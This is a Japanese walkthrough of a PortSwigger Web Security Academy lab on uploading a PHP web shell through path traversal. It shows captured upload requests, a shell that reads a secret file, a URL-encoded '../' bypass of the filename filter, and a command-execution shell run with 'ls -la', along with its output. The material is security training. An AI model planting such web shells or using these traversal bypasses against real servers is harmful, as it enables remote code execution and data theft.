Web Security Academy: File upload vulnerabilities

パストラバーサルによる Web shell のアップロード。16 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/preventing-file-execution-in-user-accessible-directories/file-upload/lab-file-upload-web-shell-upload-via-path-traversal#

デフォルトリクエスト:

POST /my-account/avatar HTTP/2
Host: 0ad800ba03f91ee688c6232a009900bf.web-security-academy.net
Cookie: session=4VgZ4diJ0TNs09zxY0szfP2oromTWLrv
~省略~
  
------WebKitFormBoundaryzCobiK7gdMBan9Ma
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png
  
�PNG
~バイナリのため省略~

デフォルトアップロード先:

<img src="/files/avatars/hacker.png" class="avatar">

テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

改ざん1

POST /my-account/avatar HTTP/2
Host: 0ad800ba03f91ee688c6232a009900bf.web-security-academy.net
Cookie: session=4VgZ4diJ0TNs09zxY0szfP2oromTWLrv
~省略~
  
------WebKitFormBoundaryENxaYuWtz3aTXxi8
Content-Disposition: form-data; name="avatar"; filename="webshell1.php"
Content-Type: application/octet-stream
  
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryENxaYuWtz3aTXxi8
Content-Disposition: form-data; name="user"
  
wiener
------WebKitFormBoundaryENxaYuWtz3aTXxi8
Content-Disposition: form-data; name="csrf"
  
3RxcadHOS00PFw62rHZp6jP1K3szzss7
------WebKitFormBoundaryENxaYuWtz3aTXxi8--

アップロード先:

<img src="/files/avatars/webshell1.php" class="avatar">

結果 → ソースコードがそのまま表示される。
このディレクトリはPHPファイルの実行が許可されていない模様。

そこでパストラバーサルを使い、アップロード先を変えてみる。

改ざん2

------WebKitFormBoundaryENxaYuWtz3aTXxi8
Content-Disposition: form-data; name="avatar"; filename="../webshell2.php"
Content-Type: application/octet-stream
  
<?php echo file_get_contents('/home/carlos/secret'); ?>

アップロード先:

<img src="/files/avatars/../webshell2.php" class="avatar">

しかし、404 Not Found

Repeater のレスポンスは
"The file avatars/webshell2.php has been uploaded." となっており、files/avatars/webshell2.php にアップロードされてしまっている。

これはアプリケーションにパストラバーサルの ../ を削除するフィルターが入っている可能性がある。
そこで、パストラバーサルのページを参考に、バイパスを試す。

一部の状況(URLパスや multipart/form-data リクエストのfilenameパラメータなど)では、Webサーバーがアプリケーションへ入力を渡す前にディレクトリトラバーサルシーケンスを削除する場合があります。この種のサニタイズ処理を回避するには、../ 文字をURLエンコード(場合によっては二重URLエンコード)する方法が有効です。これによりそれぞれ %2e%2e%2f および %252e%252e%252f となります。
..%c0%af..%ef%bc%8f などの非標準エンコーディングも有効な場合があります。

Burp Suite Professional ユーザー向けに、Burp Intruder には事前定義されたペイロードリスト「Fuzzing - path traversal」が用意されています。これには試行可能なエンコード済みパストラバーサルシーケンスが含まれています。 https://portswigger.net/web-security/file-path-traversal

------WebKitFormBoundaryENxaYuWtz3aTXxi8
Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2fwebshell3.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>

レスポンスに少し変化があり ../ が残っています。期待できそうです。
"The file avatars/../webshell3.php has been uploaded."

引き続き 404 Not Found ですが、アドレスの /avatars/..%2f が余計です。
消して /files/webshell3.php にアクセスすると……解決。


WebShell4.php。OSコマンド実行用

<?php system($_GET['cmd']); ?>
GET /files/webshell4.php?cmd=ls+-la HTTP/2

HTTP/2 200 OK
total 12
drwxr-xr-x 1 carlos carlos  81 Nov  2 14:20 .
drwxrwxr-x 1 peter  peter   18 Jul  6 01:09 ..
drwxr-xr-x 1 carlos carlos  65 Nov  2 14:15 avatars
-rw-rw-r-- 1 carlos carlos  30 Nov  2 14:15 webshell3.php
-rw-rw-r-- 1 carlos carlos  30 Nov  2 14:20 webshell4.php
/* -----codeの行番号----- */